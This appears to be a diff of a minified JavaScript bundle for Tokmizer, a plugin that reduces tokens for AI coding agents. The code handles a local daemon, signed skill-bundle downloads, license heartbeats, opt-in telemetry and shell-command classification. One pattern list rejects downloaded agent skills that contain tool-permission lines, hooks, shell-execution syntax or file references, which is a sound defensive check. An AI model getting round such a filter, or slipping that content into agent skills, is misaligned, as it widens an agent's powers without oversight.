Jr();let{path:n,isPipe:r}=t.socketPath?{path:t.socketPath,isPipe:process.platform==="win32"}:ut(),o=e,s=null,i=Date.now(),a=t.idleTimeoutMs??sf,l=process.env.TOKMIZER_DAEMON_INSTALL_ID??"",c=async g=>{if(i=Date.now(),g.op==="ping")return{id:g.id,ok:!0,data:{pid:process.pid,uptimeMs:o?Date.now()-o.startedAt:0,ruleCount:o?.ruleCount??0,bundleVersion:o?.bundleVersion??0,version:ye}};if(g.op==="shutdown")return!l||g.installId!==l?{id:g.id,ok:!1,err:"forbidden"}:(setTimeout(()=>t.onShutdown?.(),10),{id:g.id,ok:!0,data:{stopping:!0}});if(g.op==="reload"){if(!l||g.installId!==l)return{id:g.id,ok:!1,err:"forbidden"};if(!t.onWarming)return{id:g.id,ok:!1,err:"no_warming_handler"};try{return o=await t.onWarming(),{id:g.id,ok:!0,data:{ruleCount:o.ruleCount,bundleVersion:o.bundleVersion}}}catch(h){return{id:g.id,ok:!1,err:h.message,retryAfterMs:1e3}}}if(g.op==="filter"){if(l&&g.installId!==l)return{id:g.id,ok:!1,err:"forbidden"};if(o&&Ef(o))if(t.onWarming)s||(s=t.onWarming(),s.then(p=>{o=p}).catch(()=>{}).finally(()=>{s=null}));else return{id:g.id,ok:!0,data:{filter:null,cacheHit:!0}};if(!o)if(t.onWarming){if(!s){let w=t.onWarming();s=w,w.then(S=>{o=S}).catch(()=>{}).finally(()=>{s===w&&(s=null)})}let p=await Promise.race([s.catch(w=>w instanceof Error?w:new Error(String(w))),new Promise(w=>setTimeout(w,$_,null).unref?.())]);if(p===null)return{id:g.id,ok:!1,err:"warming",retryAfterMs:250};if(p instanceof Error)return{id:g.id,ok:!1,err:p.message,retryAfterMs:1e3};o=p}else return{id:g.id,ok:!1,err:"warming",retryAfterMs:250};let h=o.selectFor(g.cmd,g.plan,g.allowed);return{id:g.id,ok:!0,data:{filter:h??null,cacheHit:!0}}}return{id:g.id,ok:!1,err:"unknown_op"}},u=R_(g=>{let h="";g.setEncoding("utf8"),g.on("data",p=>{if(h+=p,Buffer.byteLength(h,"utf8")>Qu){g.write(At({id:"?",ok:!1,err:"frame_too_large"})),h="";return}let w=-1;for(let x=0;x<h.length;x++)h[x]===Cn&&(w=x);if(w<0)return;let S=[];for(let x of is(h.slice(0,w+1)))S.push(x);h=h.slice(w+1);for(let x of S){if(!x)continue;let T="?";try{let A=JSON.parse(x);typeof A.id=="string"&&A.id.length<=64&&(T=A.id);let M=Yu.parse(A);c(M).then(I=>{g.write(At(I))}).catch(I=>{g.write(At({id:M.id,ok:!1,err:`internal:${I.message?.slice(0,80)??"error"}`}))})}catch(A){g.write(At({id:T,ok:!1,err:`bad_request:${A.message.slice(0,80)}`}))}}}),g.on("error",()=>{try{g.destroy()}catch{}})}),f=!1,d=setInterval(()=>{if(f)return;if(t.isActive?.()){i=Date.now();return}let g=Date.now()-i;(!af()&&g>a||g>a*2)&&(f=!0,t.onShutdown?.())},of);return d.unref(),await new Promise((g,h)=>{u.once("error",h),u.listen(n,()=>{if(u.off("error",h),!r)try{A_(n,384)}catch{}g()})}),{server:u,close:async()=>{clearInterval(d),await new Promise(g=>u.close(()=>g()))},touch:()=>{i=Date.now()}}}Nn();function Af(e){let t=0,n=0,r=null;return async function(){let s=Date.now();if(n>s&&r)throw new Error(`bundle fetch cooling down for ${n-s}ms (last: ${r.message})`);try{let i=await e();return t=0,n=0,r=null,i}catch(i){if(t+=1,r=i,t>=3){let a=Math.min(6e4,500*2**(t-3));n=Date.now()+a}throw i}}}ft();Dn();Ue();Pn();U();import{readFile as FU,writeFile as F$,mkdir as LU}from"node:fs/promises";import{createPublicKey as L_,verify as H_}from"node:crypto";import{mkdir as j_,writeFile as B_}from"node:fs/promises";import{join as z_}from"node:path";import{createHash as N_,createPublicKey as M_,verify as D_}from"node:crypto";var If=`-----BEGIN PUBLIC KEY-----
170
176
  MCowBQYDK2VwAyEA1erltQyvslpreg50WyEfiicirx2SMdYbjVEL3Kbk5pk=
171
177
  -----END PUBLIC KEY-----
172
- `;function Cf(e,t,n,r,o){let s=m_("sha256").update(o,"utf8").digest("hex");return Buffer.from(`tokmizer-bundle-v1
178
+ `;function Pf(e,t,n,r,o){let s=N_("sha256").update(o,"utf8").digest("hex");return Buffer.from(`tokmizer-bundle-v1
173
179
  ${e}
174
180
  ${t}
175
181
  ${n}
176
182
  ${r}
177
- ${s}`,"utf8")}function y_(){return $f.replace(/\\n/g,`
178
- `)}function Of(e,t,n=y_()){if(typeof t!="string")return!1;try{return h_(null,e,g_({key:n,format:"pem"}),Buffer.from(t,"base64url"))}catch{return!1}}z();Pn();ze();Mn();Ue();function x_(e,t){let n=Gr();if(!n||!n.includes("BEGIN PUBLIC KEY"))throw new Error("Tokmizer plugin: no valid signing public key. Set TOKMIZER_RESP_SIGNING_PUBLIC_KEY_PEM or rebuild plugin against a prod key.");let r=k_({key:n,format:"pem"});try{let o=Buffer.from(t,"base64url");return b_(null,Buffer.from(e,"utf8"),r,o)}catch{return!1}}function v_(e,t,n){if(n.length===0||n.some((r,o)=>r.position!==o))throw new Error(`incomplete or inconsistent fragments on ${e}`);for(let r of n){let o=Cf(e,t,r.position,n.length,r.body);if(!Of(o,r.contentSig))throw new Error(`content signature mismatch on ${e}[${r.position}]`)}}async function E_(e){try{await w_(b(),{recursive:!0}),await __(S_(b(),"content-signature.json"),JSON.stringify({at:Date.now(),status:e}),{mode:384})}catch{}}var T_=/^[a-z0-9][a-z0-9-]*$/;async function Pf(e){On();let t=await V();if(!t)throw new Error("Plugin not activated.");let n=await dt(),r=await Je("GET","/api/v1/skills/bundle",void 0,{baseUrl:e,bearer:t.jwt,signingSecret:t.signingSecret,fingerprint:n.fingerprint,installId:n.installId,timeoutMs:8e3});if(!r.ok)throw new Error(`bundle fetch failed ${r.status}`);let o=await on(r),s=[];for(let i of o.bundles){if(!T_.test(i.slug))throw new Error(`invalid bundle slug ${i.slug}`);let a=[...i.fragments].sort((l,c)=>l.position-c.position);for(let l of a)if(!x_(l.body,l.hash))throw new Error(`fragment signature mismatch on ${i.slug}[${l.position}]`);v_(i.slug,i.version,a),s.push({slug:i.slug,version:i.version,body:a.map(l=>l.body).join(`
183
+ ${s}`,"utf8")}function F_(){return If.replace(/\\n/g,`
184
+ `)}function Nf(e,t,n=F_()){if(typeof t!="string")return!1;try{return D_(null,e,M_({key:n,format:"pem"}),Buffer.from(t,"base64url"))}catch{return!1}}U();Pn();Ue();Dn();Je();function U_(e,t){let n=Zr();if(!n||!n.includes("BEGIN PUBLIC KEY"))throw new Error("Tokmizer plugin: no valid signing public key. Set TOKMIZER_RESP_SIGNING_PUBLIC_KEY_PEM or rebuild plugin against a prod key.");let r=L_({key:n,format:"pem"});try{let o=Buffer.from(t,"base64url");return H_(null,Buffer.from(e,"utf8"),r,o)}catch{return!1}}function J_(e,t,n){if(n.length===0||n.some((r,o)=>r.position!==o))throw new Error(`incomplete or inconsistent fragments on ${e}`);for(let r of n){let o=Pf(e,t,r.position,n.length,r.body);if(!Nf(o,r.contentSig))throw new Error(`content signature mismatch on ${e}[${r.position}]`)}}async function G_(e){try{await j_(b(),{recursive:!0,mode:448}),await B_(z_(b(),"content-signature.json"),JSON.stringify({at:Date.now(),status:e}),{mode:384})}catch{}}var Z_=/^[a-z0-9][a-z0-9-]*$/;async function Mf(e){In();let t=await q();if(!t)throw new Error("Plugin not activated.");let n=await mt(),r=await Ge("GET","/api/v1/skills/bundle",void 0,{baseUrl:e,bearer:t.jwt,signingSecret:t.signingSecret,fingerprint:n.fingerprint,installId:n.installId,timeoutMs:8e3});if(!r.ok)throw new Error(`bundle fetch failed ${r.status}`);let o=await sn(r),s=[];for(let i of o.bundles){if(!Z_.test(i.slug))throw new Error(`invalid bundle slug ${i.slug}`);let a=[...i.fragments].sort((l,c)=>l.position-c.position);for(let l of a)if(!U_(l.body,l.hash))throw new Error(`fragment signature mismatch on ${i.slug}[${l.position}]`);J_(i.slug,i.version,a),s.push({slug:i.slug,version:i.version,body:a.map(l=>l.body).join(`
179
185
 
180
- `)})}return await E_("verified"),s}var If=Object.freeze(["power","tkr-reducer","tkr","tkr-gain","tkr-status","tkr-link","tkr-unlink","tkr-compression","tkr-telemetry","tkr-update","tkr-yolo"]),Nf=Object.freeze(["power","reducer-light","reducer-balanced","reducer-max"]),R_=[[/allowed[-_]tools/i,"allowed-tools"],[/^[ \t]*["']?hooks["']?[ \t]*:/im,"hooks"],[/!`/,"shell execution"],[/^[ \t]*(`{3,}|~{3,})[ \t]*!/m,"shell execution"],[/(?<!\w)@[^\s@]/,"file reference"]];function Mf(e){for(let[t,n]of R_)if(t.test(e))return n;return null}Ia();Rs();As();ze();Mn();Pn();pt();Ue();async function fS(e,t){let n=await V();if(!ee()||!n||n.linked===!1){let a=n?.plan??"free";if(e==="GET")return{plan:a,settings:await ne()};let l=await Da(t);return{plan:a,settings:l}}let r=an(),o=await dt(),s=await Je(e,"/api/v1/settings",t,{baseUrl:r,bearer:n.jwt,signingSecret:n.signingSecret,fingerprint:o.fingerprint,installId:o.installId,timeoutMs:8e3});if(!s.ok)throw new Error(`Settings ${e} failed: ${s.status}`);let i=await on(s);return await $s(i.settings),i}async function gd(){return fS("GET")}Ue();pt();import{existsSync as Cv,readFileSync as Ov}from"node:fs";import{basename as Pv}from"node:path";Cs();import{dirname as rL,join as lx}from"node:path";de();tt();function Wd(){return lx(zn(),"settings.json")}Bs();Us();Js();Ks();Ws();var Iv=/^(?:tkr|tkr-exec(?:\.exe)?|tkr-[a-z-]+\.js|tkr-[a-z]+-hook|tkr-hook|tkr-shim-launch)$/;function Nv(){return[{id:"claude",label:"Claude Code",files:[Wd()]},{id:"codex",label:"Codex",files:[Le()]},{id:"cursor",label:"Cursor",files:[fo()]},{id:"gemini",label:"Gemini CLI",files:[po()]},...tr.map(e=>({id:e.id,label:e.label,files:e.files()})),...wo.map(e=>({id:e.host,label:e.label,files:[Hp(e)]}))]}function Mv(e){let t=new Set;for(let n of e.matchAll(/(['"])((?:\/|[A-Za-z]:(?:\\\\|\\|\/))[^'"\n]+)\1/g)){let r=n[2].replace(/\\\\/g,"\\");Iv.test(Pv(r.replace(/\\/g,"/")))&&!Cv(r)&&t.add(r)}return[...t]}function jp(e=Nv()){let t=[];for(let n of e){let r=[];for(let o of n.files)try{r.push(...Mv(Ov(o,"utf8")))}catch{}r.length&&t.push({check:n,missing:[...new Set(r)]})}return t}z();Ee();Ee();so();Xs();import{existsSync as um,readFileSync as dm,rmSync as pm,statSync as nE,writeFileSync as mm,mkdirSync as gm}from"node:fs";import{join as rE}from"node:path";import fm from"node:os";function Cl(){return rE(b(),"healed")}function oE(e){if(!(e<=0))try{let t=Number(dm(Cl(),"utf8"))||0;gm(b(),{recursive:!0,mode:448}),mm(Cl(),String(t+e),{mode:384})}catch{}}async function hm(e){let t={staleShims:0,rewrittenShims:0,launcher:"absent",hookLauncher:"absent",globalPathRemoved:[],globalPathLines:0};if(fm.platform()!=="win32"&&um(gt())){let r=za(Kn(gt())),o=Zn(e.shimJs);!(!r||e.explicit===!0&&(o.single!==""||o.js!==""))||e.dryRun&&r?t.hookLauncher="ok":e.dryRun?t.hookLauncher="stale":t.hookLauncher=await Id(o)?"written":"failed"}let n=um(Oe())&&Qp();if(n&&fm.platform()!=="win32"){let r=za(Kn()),o=Zn(e.shimJs);!(!r||e.explicit===!0&&(o.single!==""||o.js!==""))||e.dryRun&&r?t.launcher="ok":e.dryRun?t.launcher="stale":t.launcher=await Ua(o)?"written":"failed"}if(n){let r=await om(e.shimJs,{dryRun:e.dryRun===!0});t.staleShims=r.stale,t.rewrittenShims=r.rewritten}return e.rc&&(e.dryRun||(t.globalPathRemoved=await lm()),t.globalPathLines=await am()),oE(t.rewrittenShims+(t.launcher==="written"?1:0)+(t.hookLauncher==="written"?1:0)+t.globalPathRemoved.length),t}function ym(e){try{e?(gm(b(),{recursive:!0,mode:448}),mm(Ct(),String(Date.now()),{mode:384})):pm(Ct(),{force:!0})}catch{}}function km(){try{return Math.min(1e6,Math.floor(nE(to()).size/2))}catch{return 0}}function bm(){try{pm(to(),{force:!0})}catch{}}function wm(){try{return Math.min(1e6,Number(dm(Cl(),"utf8"))||0)}catch{return 0}}Xs();async function _m(){try{if(!(await ne()).telemetryOptIn)return;let e=await hm({shimJs:cm(),rc:!0,dryRun:!0});return{shimFallbacks:km(),staleShims:Math.min(1e3,e.staleShims+(e.launcher==="stale"?1:0)+(e.hookLauncher==="stale"?1:0)),brokenHooks:Math.min(1e3,jp().length),globalPathLines:Math.min(100,e.globalPathLines),healed:wm(),failOpen:ye()}}catch{return}}$t();As();var Gh="-command",Zh=3;async function Kh(){try{let{connectDaemon:e}=await Promise.resolve().then(()=>(Hl(),Rm)),t=await e();try{await t.reload()}finally{t.close()}}catch{}}async function Wh(e,t){if(!(!t&&await Ca("power"))){try{let n=await Pf(e),r=[],o=[],s=[];for(let i of n){let a=i.slug.endsWith(Gh),l=a?i.slug.slice(0,-Gh.length):i.slug;if(!(a?If:Nf).includes(l))continue;let c=Mf(i.body);c?s.push(`${i.slug} (${c})`):a?await Pa(l,i.body):await Oa(l,i.body),(a?o:r).push(l)}await _s(r),await Ss(o),await xs(s.length?`unsafe bundle skipped: ${s.join(", ")}`:null)}catch(n){await xs(n instanceof Error?n.message:String(n))}try{await id()}catch{}}}function i$(e){try{return new Intl.DateTimeFormat("en-CA",{timeZone:e,year:"numeric",month:"2-digit",day:"2-digit"}).format(new Date)}catch{return new Date().toISOString().slice(0,10)}}function Uo(e,t=0){let n=e.split(".")[1];if(!n)return!0;try{let r=Number(JSON.parse(Buffer.from(n,"base64url").toString("utf8")).exp);return!Number.isFinite(r)||r*1e3<=Date.now()+t}catch{return!0}}async function zo(e,t){let n=await V();return n&&n.token!==e.token?!1:(await _a(t),!0)}async function pr(e){let t=await V();if(!t)return null;if(!ee())return t;let n=await dt(),r=t.timeZone??ps(),o=await _m(),s={ts:Date.now(),localDate:i$(r),timeZone:r,...o?{health:o}:{}},i;try{i=await Je("POST","/api/v1/license/heartbeat",s,{baseUrl:e,bearer:t.jwt,signingSecret:t.signingSecret,fingerprint:n.fingerprint,installId:n.installId,timeoutMs:5e3})}catch{return t}if(i.status===401){let p=(t.heartbeatAuthFails??0)+1,g={...t,heartbeatAuthFails:p},h=t.linked??(!!t.email||t.plan==="smart"||t.plan==="pro");if(p>=Zh&&h&&(g.relinkRequired=!0),!await zo(t,g))return null;if(p>=Zh&&!h){try{await s$(`${b()}/state.replaced.json`,JSON.stringify(t),{mode:384})}catch{}try{return await a$(e)}catch{return null}}return null}if(i.status===451){let p=await V();if(p&&p.token!==t.token)return null;await ff();try{await _s([]),await Ss([])}catch{}return null}if(i.status===426)return await zo(t,{...t,updateRequired:!0}),null;if(i.status===423)return await zo(t,{...t,relinkRequired:!0}),null;if(!i.ok){if(i.status===400)try{(await i.json())?.code==="stale_ts"&&await zo(t,{...t,clockSkewDetected:!0})}catch{}return t}let a;try{a=await on(i)}catch{return t}ym(a.failOpen===!0),o&&bm();let l=a.settingsRevision??0,c=t.lastSettingsRevision??0,u=l>c,f=a.plan!==t.plan,d={...t,jwt:a.jwt,plan:a.plan,status:a.status,trialEndsAt:a.trialEndsAt,subEndsAt:a.subEndsAt,jwtVersion:a.jwtVersion,lastSettingsRevision:c,lastHeartbeatOkAt:Date.now(),heartbeatAuthFails:0,relinkRequired:!1,updateRequired:!1,clockSkewDetected:!1,timeZone:r,bonusActive:a.bonusActive??!1,...a.bonusResetAt!==void 0?{bonusResetAt:a.bonusResetAt}:{},...a.latestPluginVersion?{latestPluginVersion:a.latestPluginVersion}:{},...Array.isArray(a.allowedFilters)?{allowedFilters:a.allowedFilters.map(ue)}:{}};if(u)try{await gd(),d.lastSettingsRevision=l}catch{}if(!await zo(t,d))return V();if(process.env.TOKMIZER_SELF_UPDATE_CHILD!=="1")try{let{maybeSpawnSelfUpdate:p}=await Promise.resolve().then(()=>(Hm(),Lm));p()}catch{}(u||f)&&await Kh(),await Wh(e,u||f);try{let{syncReducerRules:p}=await Promise.resolve().then(()=>(bg(),kg));await p()}catch{}try{let{flushTelemetry:p}=await Promise.resolve().then(()=>(ur(),$g)),{flush:g}=await Promise.resolve().then(()=>(Bo(),Jh));await p(e),await g(e)}catch{}return d}var cU=5*6e4;async function a$(e){On();let t=await dt(),n=ps(),r={pluginVersion:he,timeZone:n,...t},o=await Je("POST","/api/v1/license/enroll",r,{baseUrl:e,fingerprint:t.fingerprint,installId:t.installId,timeoutMs:4e3});if(!o.ok)throw new Error(`enroll failed ${o.status}`);let s=await on(o),i={token:s.token,jwt:s.jwt,signingSecret:s.signingSecret,plan:s.plan,status:s.status,trialEndsAt:s.trialEndsAt,subEndsAt:s.subEndsAt,jwtVersion:s.jwtVersion,installId:t.installId,fingerprint:t.fingerprint,pluginVersion:he,email:"",timeZone:n,bonusActive:!1,linked:!1,lastHeartbeatOkAt:Date.now(),...Array.isArray(s.allowedFilters)&&s.allowedFilters.length>0?{allowedFilters:s.allowedFilters.map(ue)}:{}};return await _a(i),await Kh(),await Wh(e,!0),i}ze();ze();Bo();ur();Ue();var l$=10*6e4,Vh=6e4;function qh(e){let t=0,n=async()=>{let r=Date.now();if(r-t<l$)return;let o;try{o=await pr(e)}catch{t=r;return}o&&!Uo(o.jwt,Vh)&&(t=r)};return async()=>{if(!ee())return;let r=await V();if(!r)return;if(Uo(r.jwt,Vh)){await n();return}(await Promise.all([Mc(e),cc(e)])).includes("auth")&&await n()}}fs();z();$t();import{randomBytes as uN,randomUUID as zb}from"node:crypto";import{lstatSync as fN,mkdirSync as dN,realpathSync as pN,renameSync as mN,rmSync as gN,writeFileSync as hN}from"node:fs";import{dirname as yN,join as ra}from"node:path";en();In();z();Vr();lu();import{timingSafeEqual as Ru}from"node:crypto";import{chmodSync as tN,lstatSync as nN,realpathSync as rN}from"node:fs";import{dirname as oN}from"node:path";import{createServer as sN}from"node:net";so();Cs();$i();import{spawnSync as FO}from"node:child_process";import{existsSync as kn,readFileSync as Wo,readdirSync as Vi,statSync as LO}from"node:fs";import{homedir as bn}from"node:os";import{fileURLToPath as HO}from"node:url";import{dirname as sb,join as j,resolve as jO}from"node:path";z();jl();import{appendFileSync as qC,chmodSync as YC,mkdirSync as XC,existsSync as QC,readFileSync as u4,rmSync as f4}from"node:fs";import{dirname as eO,join as tO}from"node:path";var nO="usage.jsonl";var zk=2*1024*1024;function rO(){return tO(b(),nO)}function Re(e,t,n=rO()){try{let r=eO(n);QC(r)||XC(r,{recursive:!0,mode:448});let o=e.replace(/[^A-Za-z0-9._-]/g,"").slice(0,64)||"unknown";qC(n,`{"t":${Math.floor(Date.now()/1e3)},"s":"${o}","o":${t?1:0}}
181
- `,{mode:384}),YC(n,384),ti(n,zk,zk/2)}catch{}}tt();yt();z();import{execFileSync as vO}from"node:child_process";import{mkdirSync as EO,readFileSync as Kk,renameSync as TO,statSync as RO,writeFileSync as AO}from"node:fs";import{join as Wk}from"node:path";import{closeSync as oO,openSync as sO,readSync as iO,readdirSync as aO,readFileSync as lO,statSync as Jk}from"node:fs";import{homedir as cO}from"node:os";import{isAbsolute as uO,join as Ki,resolve as fO}from"node:path";var dO=/^[A-Za-z0-9._+@%:,/-]+$/,pO=new Set(["7f454c46","feedface","feedfacf","cefaedfe","cffaedfe","cafebabe","bebafeca"]),mO=32,gO=4*1024*1024;function uu(e){let t;try{t=sO(e,"r");let n=Buffer.alloc(4),r=iO(t,n,0,4,0);return r>=2&&n[0]===35&&n[1]===33?"#!":r===4?n.toString("hex"):null}catch{return null}finally{t!==void 0&&oO(t)}}function Ko(e,t=process.platform){try{let n=Jk(e);if(!n.isFile())return!1;if(t==="win32")return!0;if((n.mode&73)===0)return!1;let r=uu(e);return r==="#!"||r!==null&&pO.has(r)}catch{return!1}}function hO(e){if(/\.[A-Za-z0-9]+$/.test(e))return[e];let t=(process.env.PATHEXT??".COM;.EXE;.BAT;.CMD").split(";").filter(Boolean);return[e,...t.map(n=>e+n.toLowerCase())]}function xr(e,t,n,r=process.platform){if(!dO.test(e))return!1;let o=r==="win32";if(e.includes("/"))return Ko(fO(t??process.cwd(),e),r);if(!n)return!1;let s=o?hO(e):[e];for(let i of n.split(o?";":":"))if(!(!i||!uO(i))){for(let a of s)if(Ko(Ki(i,a),r))return!0}return!1}var yO=/^eval \$'([^\s'()=]+) \(\) /,kO=/^([^\s'"()=]+) \(\) \{$/,bO=/^alias -- ([^\s=]+)=(.*)$/,wO=/^# (?:Shell Options|Aliases|Shopt|Check for |Shadow )/,_O=/^export PATH=(.*)$/,SO=/^(?:--colou?r(?:=\S+)?|-G)$/;function Uk(e){return e.length>=2&&e.startsWith("'")&&e.endsWith("'")?e.slice(1,-1).replace(/'\\''/g,"'"):e.length>=2&&e.startsWith('"')&&e.endsWith('"')?e.slice(1,-1):e}function xO(e,t){let n="";for(let r of e.split(`
182
- `)){let o=_O.exec(r);if(o&&n!=="# Functions"){let s=Uk(o[1].trim());/[$`\\]/.test(s)||t.paths.push(s);continue}if(r.startsWith("# ")&&(n!=="# Functions"||wO.test(r))){n=r;continue}if(n==="# Functions"){let s=yO.exec(r)??kO.exec(r);s&&t.functions.add(s[1])}else if(n==="# Aliases"){let s=bO.exec(r);s&&t.aliases.set(s[1],Uk(s[2].trim()))}}}function cu(e){return e?.code==="ENOENT"}function Gk(e){let t={functions:new Set,aliases:new Map,paths:[],uncertain:!1},n=Ki(e||Ki(cO(),".claude"),"shell-snapshots"),r=[];try{for(let o of aO(n)){if(!o.startsWith("snapshot-")||!o.endsWith(".sh"))continue;let s=Ki(n,o);try{let i=Jk(s);i.isFile()&&r.push({path:s,mtime:i.mtimeMs,size:i.size})}catch(i){cu(i)||(t.uncertain=!0)}}}catch(o){return cu(o)||(t.uncertain=!0),t}r=r.sort((o,s)=>s.mtime-o.mtime).slice(0,mO);for(let o of r)try{if(o.size>gO)throw new Error("snapshot too large");xO(lO(o.path,"utf8"),t)}catch(s){cu(s)||(t.uncertain=!0)}return t}function Zk(e,t){if(t.uncertain||t.functions.has(e))return!0;let n=t.aliases.get(e);if(n===void 0)return!1;let r=n.trim().split(/\s+/);return r[0]!==e||!r.slice(1).every(o=>SO.test(o))}var $O="exec-probe.json",CO=6e4;function OO(){return Wk(b(),$O)}function PO(e){try{let t=re(Kk(e,"utf8"));if(t==null||typeof t!="object")return null;let n=t;return typeof n.key!="string"||typeof n.ok!="boolean"?null:{key:n.key,ok:n.ok,at:typeof n.at=="number"?n.at:0,skipped:typeof n.skipped=="number"&&n.skipped>=0?n.skipped:0}}catch{return null}}function IO(e,t){try{EO(Wk(e,".."),{recursive:!0,mode:448});let n=`${e}.${process.pid}.tmp`;AO(n,JSON.stringify(t),{mode:384}),TO(n,e)}catch{}}function NO(e){try{return vO(e,["--native-check"],{encoding:"utf8",timeout:2e3,maxBuffer:1024,stdio:["ignore","pipe","ignore"],windowsHide:!0}).startsWith("tokmizer-native ")}catch{return!1}}function MO(e,t){try{let r=Kk(e,"utf8").split(`
183
- `,1)[0].slice(2).trim().split(/\s+/),o=r[0]??"";return o==="/usr/bin/env"?xr(r[1]??"",void 0,t):Ko(o)}catch{return!1}}function DO(e,t,n){try{let r=RO(e);return[e,r.size,r.mtimeMs,r.ino,r.mode,t?n??"":""].join("|")}catch{return`${e}|missing`}}function fu(e,t=process.platform,n=process.env.PATH,r=OO(),o=Date.now()){let s=t!=="win32"&&uu(e)==="#!",i=DO(e,s,n),a=PO(r);if(a?.key===i&&(a.ok||o-a.at<CO))return a.ok;let l=Ko(e,t)&&(s?MO(e,n):NO(e));return IO(r,{key:i,ok:l,at:o,skipped:(a?.skipped??0)+(l?0:1)}),l}var BO=new Set(["tkr","tkr-exec","token","claude","cd","export","source","echo","mkdir","rm","mv","cp","chmod","ln","true","false",":","test","[","exit","return","nohup","sudo","doas","env"]),zO=new Set(["for","while","until","if","then","else","elif","fi","do","done","case","esac","select","function","time","coproc","in","!","[[","]]","{","}",".","declare","typeset","local","readonly","unset","set","shift","trap","wait","read","eval","exec","break","continue","pushd","popd","dirs","alias","unalias","hash","ulimit","umask","getopts","let","shopt","builtin","command","compgen","complete","disown","suspend","jobs","fg","bg","kill","history","fc","bind","enable","caller","type","printf","pwd","times","logout","mapfile","readarray","help","which","print","whence","where","autoload","zmodload","setopt","unsetopt","emulate","noglob","rehash","functions","bindkey","zle","vared","sched","limit","unlimit","zstyle","zparseopts","ttyctl"]),Vk=new Set(["sh","bash","zsh","dash","ksh","fish","python","python3","python2","node","ruby","perl","php","awk","sed","deno","bun"]),qk="(?:dev|start|serve|watch|preview)",UO=new RegExp(`^(?:\\S*/)?(?:bun\\s+(?:install|i|add|remove|rm|update|outdated|audit|test|build|pm|x)(?:\\s|$)|bun\\s+run\\s+(?!${qk}(?:\\s|$))[A-Za-z0-9:_-]+(?:\\s|$)|deno\\s+(?:test|lint|fmt|check|compile|install|info|doc|bench|outdated)(?:\\s|$)|deno\\s+task\\s+(?!${qk}(?:\\s|$))[A-Za-z0-9:_-]+(?:\\s|$)|php\\s+-l(?:\\s|$)|php\\s+(?:\\S*/)?(?:phpunit|pest|paratest|phpstan|pint|ecs|php-cs-fixer|psalm|rector|run-tests\\.php)(?:\\s|$)|php\\s+artisan\\s+(?!(?:serve|tinker|queue:work|queue:listen|horizon|octane:start|reverb:start|schedule:work|pail|dev)(?:\\s|$))\\S)`),JO=/(?:^|\s)--watch(?:\s|=|$)/;function GO(e){return UO.test(e)&&!JO.test(e)}var ZO=/^((?:\S*\/)?(sh|bash|zsh|dash|ksh|fish)\s+(-[elux]*c[elux]*)\s+)(['"])/,KO=/[()$]|(?:^|[;&|\n]\s*)(?:and|or|not|begin|end|if|else|switch|case|while|for|function|return)(?:\s|;|$)/,ib=3;function ab(e){let t=ZO.exec(e);if(!t)return null;let n=t[2]==="fish";if(n&&t[3]!=="-c")return null;let r=t[4],o=t[1].length+1,s=e.indexOf(r,o);if(s<=o)return null;let i=e.slice(s+1);if(i&&!/^\s/.test(i))return null;let a=e.slice(o,s);return r==='"'&&/[$`\\!]/.test(a)||n&&KO.test(a)?null:{script:a,start:o,end:s,quote:r}}var WO=new Set(["cd","export","set","unset","source",".","true",":","pushd","popd"]);function VO(e){return Er(e).filter(n=>{if(n.kind!=="cmd"||n.unsafe)return!1;let r=cb(n.text);return r!==""&&!WO.has(r)&&!mu.test(r)}).length>1}function qO(e,t,n,r,o){if(n>=ib)return null;let s=ab(e);if(!s)return null;let{script:i,start:a,end:l,quote:c}=s,u=[],f=ub(i,t,n+1,r,h=>u.push(h));if(f===i||c==='"'&&/["$`]/.test(f))return null;let d=c==="'"?f.replace(/'/g,"'\\''"):f,p=`${e.slice(0,a)}${d}${e.slice(l)}`,g=VO(i);if(o)for(let h of g?[e,...u]:u)o(h);return g?`${t} ${p}`:p}var Yk=/(?:^|\s)(?:--follow|-[0-9a-zA-Z]*f[a-zA-Z]*)(?:\s|=|$)/,YO=/(?:^|\s)(?:--follow|-[0-9a-zA-Z]*[fF][a-zA-Z]*)(?:\s|=|$)/,XO=new Set(["docker","podman","kubectl","nerdctl","docker-compose","stern","flyctl"]),Xk=new Set(["npm","pnpm","yarn","bun"]),Qk=/^(?:dev|start|serve|preview|watch)(?::\S*)?$/,QO=new Set(["--filter","-F","--dir","-C","--prefix","--workspace","-w","--cwd"]),eb=new Set(["npx","pnpx","bunx"]),eP=new Set(["nodemon","top","htop","btop","watch"]),tP=new Set(["tsc","vitest","jest","webpack","rollup","esbuild","tsup","babel","sass","tailwindcss","mocha","swc","parcel","nest"]),nP=/(?:^|\s)--watch(?:All)?(?:\s|=(?!false(?:\s|$))|$)/,tb=/(?:^|\s)-w(?:\s|$)/;function rP(e){let t=e.map(i=>i.replace(/['"]/g,""));for(;t.length>1&&(t[0]==="env"||/^[A-Za-z_][A-Za-z0-9_]*=/.test(t[0]));)t=t.slice(1);let n=vr(t[0]??"");if(eb.has(n)||Xk.has(n)&&(t[1]==="exec"||t[1]==="dlx"))t=t.slice(eb.has(n)?1:2).filter((i,a,l)=>!(i.startsWith("-")&&l.slice(0,a).every(c=>c.startsWith("-")))),n=vr(t[0]??"");else if(Xk.has(n)){let i=t.slice(1).filter((l,c,u)=>!l.startsWith("-")&&!QO.has(u[c-1]??""));i[0]==="workspace"&&i.splice(0,2);let a=i[0]==="run"||i[0]==="run-script"?i[1]:i[0];return a!==void 0&&Qk.test(a)}let r=t.slice(1),o=r.join(" "),s=r.find(i=>!i.startsWith("-"));if(eP.has(n)||nP.test(o)||tP.has(n)&&tb.test(o))return!0;switch(n){case"next":return s==="dev"||s==="start";case"vite":return!r.includes("build")&&!r.includes("optimize");case"vitest":return s==="watch"||s==="dev";case"cargo":case"dotnet":return s==="watch";case"turbo":{let i=s==="run"?r.filter(a=>!a.startsWith("-"))[1]:s;return i!==void 0&&Qk.test(i)}case"nx":{let i=s==="run"?r.filter(a=>!a.startsWith("-"))[1]?.split(":")[1]:s;return i!==void 0&&/^(?:serve|dev|start|watch)$/.test(i)}case"ping":return!r.some(i=>/^-[a-zA-Z]*c/.test(i));case"docker":case"podman":case"nerdctl":case"docker-compose":{let i=n==="docker-compose"?r:s==="compose"?r.slice(r.indexOf("compose")+1):null;return i?i.includes("up")&&!i.some(a=>a==="--detach"||/^-[a-zA-Z]*d[a-zA-Z]*$/.test(a)):s==="stats"&&!r.includes("--no-stream")||s==="events"}case"kubectl":return s==="port-forward"||(s==="get"||s==="rollout")&&tb.test(o)||/(?:^|\s)--watch-only(?:\s|=|$)/.test(o);default:return!1}}function oP(e,t){let n=vr(t);return 